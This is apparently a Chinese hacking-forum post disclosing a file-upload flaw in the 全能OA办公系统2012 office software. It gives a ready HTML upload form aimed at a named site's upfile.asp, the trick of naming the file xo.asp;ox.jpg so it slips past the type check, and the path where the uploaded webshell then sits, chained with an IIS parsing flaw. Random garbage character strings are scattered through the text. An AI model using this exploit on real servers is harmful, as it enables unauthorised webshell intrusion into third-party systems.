全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：

, ?4 ~9 \4 O. B: \4 _5 A全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

1 u  j1 N% S7 J# v主要功能：
公司通告
& z, |! Z) `, K( m+ x( V工作计划
/ C: V* W, v$ h0 D! H+ w0 [通讯助理
* z. U# I8 Y) L- V- X3 V客户资源
我的公文
公文传阅
6 h! X: b. T$ T- d3 {9 R公共资源
0 w) s4 C3 \6 b2 B+ f7 t资源预约
" P; \; \" i5 [今日考勤
3 u5 }( L1 \7 @- Z; l9 P$ Z个人计划
个人通讯录
- H% t+ H( t0 O) U5 M  i' \个人基本档案
: h2 c; {8 A/ L% I& Y6 r' o未读邮件
发邮件
收件夹
寄件夹
网络硬盘
5 a% D( N0 r) v) T1 x& ~网络会议
/ `; b6 _+ D6 x+ G网络调查
交流论坛
9 A" Q" J( |9 u! t0 s4 {! d3 ]& o
有兴趣测试的朋友可以下源码看看

源码下载：

http://www.mycodes.net/30/4750.htm

漏洞介绍：

由upfile.asp上传文件漏洞引起
) O' S/ d8 `6 g' E( G
( S5 o2 `9 r% T: [; f5 z测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可
0 ]$ W, w0 A9 B- F- s4 m/ ~, H
如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

0 \& A* q6 v4 p如果存在那么将如下代码保存为upfile.html。

& F& P# n) _! K9 g然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

. S6 ^' y, ~+ M, B! @

01 <table border='0' align="center" cellpadding="5">
, F/ s" g0 E# K' x) q2 `( l
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
. u9 {% ?: P' Y* E
03 <tr>

0 Q: h( P0 Y: X* ]( I04             <td>报错：</td>
5 ~$ H1 |% K/ A. Q1 N6 _' [
05             <td><input type='radio' name='errnumber' value='0'>

. U9 U4 t3 w9 k# A$ c06               自动更名
7 l8 M. r- B* [- B
07               <input type='radio' name='errnumber' value='1' checked>

08               报错方式
$ }: q4 i$ |, ?, P* \* X6 M
" K' ~# H' o4 u9 ^09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>

/ Y& g. P& D9 S- O' v5 B6 j11           </tr>

3 u& Y: c* K% N0 n12           <tr>

13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>
$ }3 h  N0 r" b
# [1 E: K% {) T0 ?1 N15           </tr>

16           <tr>

, C# ^; z5 B* c3 C  A% G+ \17             <td>文件：</td>
+ K+ v+ [! K0 ]9 q- X
18             <td><input type="file"name="fruit"size="30"></td>
# S2 l5 p8 r2 @3 i. j+ e2 ]
5 j/ h0 x7 r# @/ N( c1 K& I# t, W4 g19           </tr>

20           <tr>

+ w6 X1 V$ k" k  P21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
" Y) Z: m- N6 t& K3 T
23           </tr>

24   

25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>

3 v; _9 M3 n! n* V27         </form>

* d& y1 u, r; i( O& o然后打开上传一个文件名为xo.asp;ox.jpg的文件。

3 U, `. l0 b9 W  {* c$ z. q

上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
* t2 a- w7 i$ b% v
& j5 k# J( Q. t/ k  s& {& i/ _此漏洞需要配合解析漏洞利用。

$ u" P+ a2 q. J0 z' U& Y% H